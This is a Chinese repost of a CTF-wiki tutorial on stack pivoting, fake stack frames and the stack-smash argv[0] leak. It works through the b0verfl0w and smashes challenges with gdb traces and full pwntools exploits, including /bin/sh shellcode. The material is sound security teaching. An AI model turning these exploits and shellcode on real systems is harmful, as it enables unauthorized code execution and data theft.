天天看點

其它棧溢出技巧

想寫一些漏洞相關的普及文章,不過在網上看到一些很不錯的文章,沒必要重複造輪子說明,是以轉載一下給大家看吧。

原文:

https://github.com/ctf-wiki/ctf-wiki/blob/master/pwn/stackoverflow/others.md

#  其它棧溢出技巧

# stack privot

## 原理

stack privot,正如它所描述的,該技巧就是劫持棧指針指向攻擊者所能控制的記憶體處。然後再在相應的位置進行ROP。一般來說,我們可能在以下情況需要使用stack privot

- 可以控制的棧溢出的位元組數較少,難以構造較長的ROP鍊

- 開啟了PIE保護,棧位址未知,我們可以将棧劫持到已知的區域。

- 其它漏洞難以利用,我們需要進行轉換,比如說将棧劫持到堆空間,進而利用堆漏洞

此外,利用stack privot有以下幾個要求

- 可以控制程式執行流。

- 可以控制sp指針。一般來說,控制棧指針會使用ROP,常見的控制棧指針的gadgets一般是

  ```assembly

  pop rsp/esp

  ```

  當然,還會有一些其它的姿勢。比如說libc_csu_init中的gadgets,我們通過偏移就可以得到控制rsp指針。上面的是正常的,下面的是偏移的。

  ```assembly

  gef➤  x/7i 0x000000000040061a

     0x40061a <__libc_csu_init+90>: pop    rbx

     0x40061b <__libc_csu_init+91>: pop    rbp

     0x40061c <__libc_csu_init+92>: pop    r12

     0x40061e <__libc_csu_init+94>: pop    r13

     0x400620 <__libc_csu_init+96>: pop    r14

     0x400622 <__libc_csu_init+98>: pop    r15

     0x400624 <__libc_csu_init+100>: ret    

  gef➤  x/7i 0x000000000040061d

     0x40061d <__libc_csu_init+93>: pop    rsp

     0x40061e <__libc_csu_init+94>: pop    r13

     0x400620 <__libc_csu_init+96>: pop    r14

     0x400622 <__libc_csu_init+98>: pop    r15

     0x400624 <__libc_csu_init+100>: ret

  ```

  此外,還有更加進階的fake frame。

- 存在可以控制内容的記憶體,一般有如下

  - bss段。由于程序按頁配置設定記憶體,配置設定給bss段的記憶體大小至少一個頁(4k,0x1000)大小。然而一般bss段的内容用不了這麼多的空間,并且bss段配置設定的記憶體頁擁有讀寫權限。

  - heap。但是這個需要我們能夠洩露堆位址。

## 示例

### 例1

這裡我們以**X-CTF Quals 2016 - b0verfl0w**為例,進行介紹。首先,檢視程式的安全保護,如下

```shell

➜  X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ checksec b0verfl0w                 

    Arch:     i386-32-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX disabled

    PIE:      No PIE (0x8048000)

    RWX:      Has RWX segments

```

可以看出源程式為32位,也沒有開啟NX保護,下面我們來找一下程式的漏洞

```C

signed int vul()

{

  char s; // [sp+18h] [bp-20h]@1

  puts("\n======================");

  puts("\nWelcome to X-CTF 2016!");

  puts("\n======================");

  puts("What's your name?");

  fflush(stdout);

  fgets(&s, 50, stdin);

  printf("Hello %s.", &s);

  fflush(stdout);

  return 1;

}

```

可以看出,源程式存在棧溢出漏洞。但是其所能溢出的位元組就隻有50-0x20-4=14個位元組,是以我們很難執行一些比較好的ROP。這裡我們就考慮stack privot。由于程式本身并沒有開啟堆棧保護,是以我們可以在棧上布置shellcode并執行。基本利用思路如下

- 利用棧溢出布置shellcode

- 控制eip指向shellcode處

第一步,還是比較容易地,直接讀取即可,但是由于程式本身會開啟ASLR保護,是以我們很難直接知道shellcode的位址。但是棧上相對偏移是固定的,是以我們可以利用棧溢出對esp進行操作,使其指向shellcode處,并且直接控制程式跳轉至esp處。那下面就是找控制程式跳轉到esp處的gadgets了。

```assembly

➜  X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ ROPgadget --binary b0verfl0w --only 'jmp|ret'         

Gadgets information

============================================================

0x08048504 : jmp esp

0x0804836a : ret

0x0804847e : ret 0xeac1

Unique gadgets found: 3

```

這裡我們發現有一個可以直接跳轉到esp的gadgets。那麼我們可以布置payload如下

```text

shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp

```

那麼我們payload中的最後一部分改如何設定esp呢,可以知道

- size(shellcode+padding)=0x20

- size(fake ebp)=0x4

- size(0x08048504)=0x4

是以我們最後一段需要執行的指令就是

```assembly

sub 0x28,esp

jmp esp

```

是以最後的exp如下

```python

from pwn import *

sh = process('./b0verfl0w')

shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"

shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"

shellcode_x86 += "\x0b\xcd\x80"

sub_esp_jmp = asm('sub esp, 0x28;jmp esp')

jmp_esp = 0x08048504

payload = shellcode_x86 + (

    0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp

sh.sendline(payload)

sh.interactive()

```

### 例2-轉移堆

待。

## 題目

- EkoPartyCTF 2016 fuckzing-exploit-200

# frame faking

正如這個技巧名字所說的那樣,這個技巧就是構造一個虛假的棧幀來控制程式的執行流。

## 原理

概括地講,我們在之前講的棧溢出不外乎兩種方式

- 控制程式EIP

- 控制程式EBP

其最終都是控制程式的執行流。在frame faking中,我們所利用的技巧便是同時控制EBP與EIP,這樣我們在控制程式執行流的同時,也改變程式棧幀的位置。一般來說其payload如下

```

buffer padding|fake ebp|leave ret addr|

```

即我們利用棧溢出将棧上構造為如上格式。這裡我們主要接下後面兩個部分

- 函數的傳回位址被我們覆寫為執行leave ret的位址,這就表明了函數在正常執行完自己的leave ret後,還會再次執行一次leave ret。

- 其中fake ebp為我們構造的棧幀的基位址,需要注意的是這裡是一個位址。一般來說我們構造的假的棧幀如下

```

fake ebp

|

v

ebp2|target function addr|leave ret addr|arg1|arg2

```

這裡我們的fake ebp指向ebp2,即它為ebp2所在的位址。通常來說,這裡都是我們能夠控制的可讀的内容。在我們介紹基本的控制過程之前,我們還是有必要說一下,函數的入口點與出口點的基本操作

入口點

```

push ebp  # 将ebp壓棧

move esp, ebp #将esp的值賦給ebp

```

出口點

```

leave

ret #pop eip,彈出棧頂元素作為程式下一個執行位址

```

其中leave指令相當于

```

move ebp, esp # 将ebp的值賦給esp

pop ebp #彈出ebp

```

下面我們來仔細說一下基本的控制過程。

1. 在有棧溢出的程式執行leave時,其分為兩個步驟

   - move ebp, esp ,這會将esp也指向目前棧溢出漏洞的ebp基位址處。

   - pop ebp, 這會将棧中存放的fake ebp的值賦給ebp。即執行完指令之後,ebp便指向了ebp2,也就是儲存了ebp2所在的位址。

2. 執行ret指令,會再次執行leave ret指令。

3. 執行leave指令,其分為兩個步驟

   - move ebp, esp ,這會将esp指向ebp2。

   - pop ebp,此時,會将ebp的内容設定為ebp2的值,同時esp會指向target function。

4. 執行ret指令,這時候程式就會執行targetfunction,當其進行程式的時候會執行

   - push ebp,會将ebp2值壓入棧中,

   - move esp, ebp,将ebp指向目前基位址。

     此時的棧結構如下

     ```

     ebp

     |

     v

     ebp2|leave ret addr|arg1|arg2

     ```

5. 當程式執行師,其會正常申請空間,同時我們在棧上也安排了該函數對應的參數,是以程式會正常執行。

6. 程式結束後,其又會執行兩次 leave ret addr,是以如果我們在ebp2處布置好了對應的内容,那麼我們就可以一直控制程式的執行流程。

可以看出在fake frame中,我們有一個需求就是,我們必須得有一塊可以寫的記憶體,并且我們還知道這塊記憶體的位址,這一點與stack privot相似。

## 例子

目前來說,我在exploit-exercise的fusion level2中利用過這個技巧,其它地方暫時還未遇到,遇到的時候再進行補充。

## 題目

參考閱讀

- [http://www.xfocus.net/articles/200602/851.html](http://www.xfocus.net/articles/200602/851.html)

- [http://phrack.org/issues/58/4.html](http://phrack.org/issues/58/4.html)

# Stack smash

## 原理

在程式加了canary保護之後,如果我們讀取的buffer覆寫了對應的值時,程式就會報錯,而一般來說我們并不會關心報錯資訊。而stack smash技巧則就是利用列印這一資訊的程式來得到我們想要的内容。這是因為在程式發現canary保護之後,如果發現canary被修改的話,程式就會執行__stack_chk_fail函數來列印argv[0]指針所指向的字元串,正常情況下,這個指針指向了程式名。其代碼如下

```C

void __attribute__ ((noreturn)) __stack_chk_fail (void)

{

  __fortify_fail ("stack smashing detected");

}

void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)

{

  while (1)

    __libc_message (2, "*** %s ***: %s terminated\n",

                    msg, __libc_argv[0] ?: "<unknown>");

}

```

是以說如果我們利用棧溢出覆寫argv[0]為我們想要輸出的字元串的位址,那麼在__fortify_fail函數中就會輸出我們想要的資訊。

## 例子

這裡,我們以2015年32C3 CTF smashes為例進行介紹,該題目在jarvisoj上有複現。

### 确定保護

可以看出程式為64位,主要開啟了Canary保護以及NX保護,以及FORTIFY保護。

```shell

➜  stacksmashes git:(master) ✗ checksec smashes

    Arch:     amd64-64-little

    RELRO:    No RELRO

    Stack:    Canary found

    NX:       NX enabled

    PIE:      No PIE (0x400000)

    FORTIFY:  Enabled

```

### 分析程式

ida看一下

```c

__int64 sub_4007E0()

{

  __int64 v0; // [email protected]

  __int64 v1; // [email protected]

  int v2; // [email protected]

  __int64 v4; // [sp+0h] [bp-128h]@1

  __int64 v5; // [sp+108h] [bp-20h]@1

  v5 = *MK_FP(__FS__, 40LL);

  __printf_chk(1LL, (__int64)"Hello!\nWhat's your name? ");

  LODWORD(v0) = _IO_gets((__int64)&v4);

  if ( !v0 )

LABEL_9:

    _exit(1);

  v1 = 0LL;

  __printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: ");

  while ( 1 )

  {

    v2 = _IO_getc(stdin);

    if ( v2 == -1 )

      goto LABEL_9;

    if ( v2 == '\n' )

      break;

    byte_600D20[v1++] = v2;

    if ( v1 == ' ' )

      goto LABEL_8;

  }

  memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));

LABEL_8:

  puts("Thank you, bye!");

  return *MK_FP(__FS__, 40LL) ^ v5;

}

```

很顯然,程式在_IO_gets((__int64)&v4);存在棧溢出。

此外,程式中還提示要overwrite flag。而且發現程式很有意思的在while循環之後執行了這條語句

```C

  memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));

```

又看了看對應位址的内容,可以發現如下内容,說明程式的flag就在這裡啊。

```

.data:0000000000600D20 ; char aPctfHereSTheFl[]

.data:0000000000600D20 aPctfHereSTheFl db 'PCTF{Here',27h,'s the flag on server}',0

```

但是如果我們直接利用棧溢出輸出該位址的内容是不可行的,這是因為我們讀入的内容` byte_600D20[v1++] = v2;`也恰恰就是該塊記憶體,這會直接将其覆寫掉,這時候我們就需要利用一個技巧了

- 在EFL記憶體映射時,bss段會被映射兩次,是以我們可以使用另一處的位址來進行輸出,可以使用gdb的find來進行查找。

### 确定flag位址

我們把斷點下載下傳memset函數處,然後讀取相應的内容如下

```shell

gef➤  c

Continuing.

Hello!

What's your name? qqqqqqq

Nice to meet you, qqqqqqq.

Please overwrite the flag: 222222222

Breakpoint 1, __memset_avx2 () at ../sysdeps/x86_64/multiarch/memset-avx2.S:38

38 ../sysdeps/x86_64/multiarch/memset-avx2.S: 沒有那個檔案或目錄.

─────────────────────────────────────[ code:i386:x86-64 ]────

   0x7ffff7b7f920 <__memset_chk_avx2+0> cmp    rcx, rdx

   0x7ffff7b7f923 <__memset_chk_avx2+3> jb     0x7ffff7b24110 <__GI___chk_fail>

   0x7ffff7b7f929                  nop    DWORD PTR [rax+0x0]

 → 0x7ffff7b7f930 <__memset_avx2+0> vpxor  xmm0, xmm0, xmm0

   0x7ffff7b7f934 <__memset_avx2+4> vmovd  xmm1, esi

   0x7ffff7b7f938 <__memset_avx2+8> lea    rsi, [rdi+rdx*1]

   0x7ffff7b7f93c <__memset_avx2+12> mov    rax, rdi

───────────────────────────────────────────────────────────────────[ stack ]────

['0x7fffffffda38', 'l8']

8

0x00007fffffffda38│+0x00: 0x0000000000400878  →   mov edi, 0x40094e ← $rsp

0x00007fffffffda40│+0x08: 0x0071717171717171 ("qqqqqqq"?)

0x00007fffffffda48│+0x10: 0x0000000000000000

0x00007fffffffda50│+0x18: 0x0000000000000000

0x00007fffffffda58│+0x20: 0x0000000000000000

0x00007fffffffda60│+0x28: 0x0000000000000000

0x00007fffffffda68│+0x30: 0x0000000000000000

0x00007fffffffda70│+0x38: 0x0000000000000000

──────────────────────────────────────────────────────────────────────────────[ trace ]────

[#0] 0x7ffff7b7f930 → Name: __memset_avx2()

[#1] 0x400878 → mov edi, 0x40094e

──────────────────────────────────────────────────────────────────────────────

gef➤  find 22222

Argument required (expression to compute).

gef➤  find '22222'

No symbol "22222" in current context.

gef➤  grep '22222'

[+] Searching '22222' in memory

[+] In '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes'(0x600000-0x601000), permission=rw-

  0x600d20 - 0x600d3f  →   "222222222's the flag on server}" 

[+] In '[heap]'(0x601000-0x622000), permission=rw-

  0x601010 - 0x601019  →   "222222222" 

gef➤  grep PCTF

[+] Searching 'PCTF' in memory

[+] In '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes'(0x400000-0x401000), permission=r-x

  0x400d20 - 0x400d3f  →   "PCTF{Here's the flag on server}" 

```

可以看出我們讀入的2222已經覆寫了0x600d20處的flag,但是我們在記憶體的0x400d20處仍然找到了這個flag的備份,是以我們還是可以将其輸出。這裡我們已經确定了flag的位址。

### 确定偏移

下面,我們确定argv[0]距離讀取的字元串的偏移。

首先下斷點在main函數入口處,如下

```shell

gef➤  b *0x00000000004006D0

Breakpoint 1 at 0x4006d0

gef➤  r

Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes 

Breakpoint 1, 0x00000000004006d0 in ?? ()

 code:i386:x86-64 ]────

     0x4006c0 <[email protected]+0> jmp    QWORD PTR [rip+0x20062a]        # 0x600cf0 <[email protected]>

     0x4006c6 <[email protected]+6> push   0x9

     0x4006cb <[email protected]+11> jmp    0x400620

 →   0x4006d0                  sub    rsp, 0x8

     0x4006d4                  mov    rdi, QWORD PTR [rip+0x200665]        # 0x600d40 <stdout>

     0x4006db                  xor    esi, esi

     0x4006dd                  call   0x400660 <[email protected]>

──────────────────────────────────────────────────────────────────[ stack ]────

['0x7fffffffdb78', 'l8']

8

0x00007fffffffdb78│+0x00: 0x00007ffff7a2d830  →  <__libc_start_main+240> mov edi, eax ← $rsp

0x00007fffffffdb80│+0x08: 0x0000000000000000

0x00007fffffffdb88│+0x10: 0x00007fffffffdc58  →  0x00007fffffffe00b  →  "/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/exam[...]"

0x00007fffffffdb90│+0x18: 0x0000000100000000

0x00007fffffffdb98│+0x20: 0x00000000004006d0  →   sub rsp, 0x8

0x00007fffffffdba0│+0x28: 0x0000000000000000

0x00007fffffffdba8│+0x30: 0x48c916d3cf726fe3

0x00007fffffffdbb0│+0x38: 0x00000000004006ee  →   xor ebp, ebp

──────────────────────────────────────────────────────────────[ trace ]────

[#0] 0x4006d0 → sub rsp, 0x8

[#1] 0x7ffff7a2d830 → Name: __libc_start_main(main=0x4006d0, argc=0x1, argv=0x7fffffffdc58, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdc48)

---Type <return> to continue, or q <return> to quit---

[#2] 0x400717 → hlt 

```

可以看出0x00007fffffffe00b指向程式名,其自然就是argv[0],是以我們修改的内容就是這個位址。同時0x00007fffffffdc58處保留着該位址,是以我們真正需要的位址是0x00007fffffffdc58。

此外,根據彙編代碼

```assembly

.text:00000000004007E0                 push    rbp

.text:00000000004007E1                 mov     esi, offset aHelloWhatSYour ; "Hello!\nWhat's your name? "

.text:00000000004007E6                 mov     edi, 1

.text:00000000004007EB                 push    rbx

.text:00000000004007EC                 sub     rsp, 118h

.text:00000000004007F3                 mov     rax, fs:28h

.text:00000000004007FC                 mov     [rsp+128h+var_20], rax

.text:0000000000400804                 xor     eax, eax

.text:0000000000400806                 call    ___printf_chk

.text:000000000040080B                 mov     rdi, rsp

.text:000000000040080E                 call    __IO_gets

```

我們可以确定我們讀入的字元串的起始位址其實就是調用__IO_gets之前的rsp,是以我們把斷點下在call處,如下

```assembly

gef➤  b *0x000000000040080E

Breakpoint 2 at 0x40080e

gef➤  c

Continuing.

Hello!

What's your name? 

Breakpoint 2, 0x000000000040080e in ?? ()

──────────────────────────[ code:i386:x86-64 ]────

     0x400804                  xor    eax, eax

     0x400806                  call   0x4006b0 <[email protected]>

     0x40080b                  mov    rdi, rsp

 →   0x40080e                  call   0x4006c0 <[email protected]>

   ↳    0x4006c0 <[email protected]+0> jmp    QWORD PTR [rip+0x20062a]        # 0x600cf0 <[email protected]>

        0x4006c6 <[email protected]+6> push   0x9

        0x4006cb <[email protected]+11> jmp    0x400620

        0x4006d0                  sub    rsp, 0x8

──────────────────[ stack ]────

['0x7fffffffda40', 'l8']

8

0x00007fffffffda40│+0x00: 0x0000ff0000000000 ← $rsp, $rdi

0x00007fffffffda48│+0x08: 0x0000000000000000

0x00007fffffffda50│+0x10: 0x0000000000000000

0x00007fffffffda58│+0x18: 0x0000000000000000

0x00007fffffffda60│+0x20: 0x0000000000000000

0x00007fffffffda68│+0x28: 0x0000000000000000

0x00007fffffffda70│+0x30: 0x0000000000000000

0x00007fffffffda78│+0x38: 0x0000000000000000

───────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────

[#0] 0x40080e → call 0x4006c0 <[email protected]>

─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

gef➤  print $rsp

$1 = (void *) 0x7fffffffda40

```

可以看出rsp的值為0x7fffffffda40,那麼相對偏移為

```python

>>> 0x00007fffffffdc58-0x7fffffffda40

536

>>> hex(536)

'0x218'

```

### 利用程式

我們構造利用程式如下

```python

from pwn import *

context.log_level = 'debug'

smash = ELF('./smashes')

if args['REMOTE']:

    sh = remote('pwn.jarvisoj.com', 9877)

else:

    sh = process('./smashes')

argv_addr = 0x00007fffffffdc58

name_addr = 0x7fffffffda40

flag_addr = 0x600D20

another_flag_addr = 0x400d20

payload = 'a' * (argv_addr - name_addr) + p64(another_flag_addr)

sh.recvuntil('name? ')

sh.sendline(payload)

sh.recvuntil('flag: ')

sh.sendline('bb')

data = sh.recv()

sh.interactive()

```

這裡我們直接就得到了flag,沒有出現網上說的得不到flag的情況。

## 題目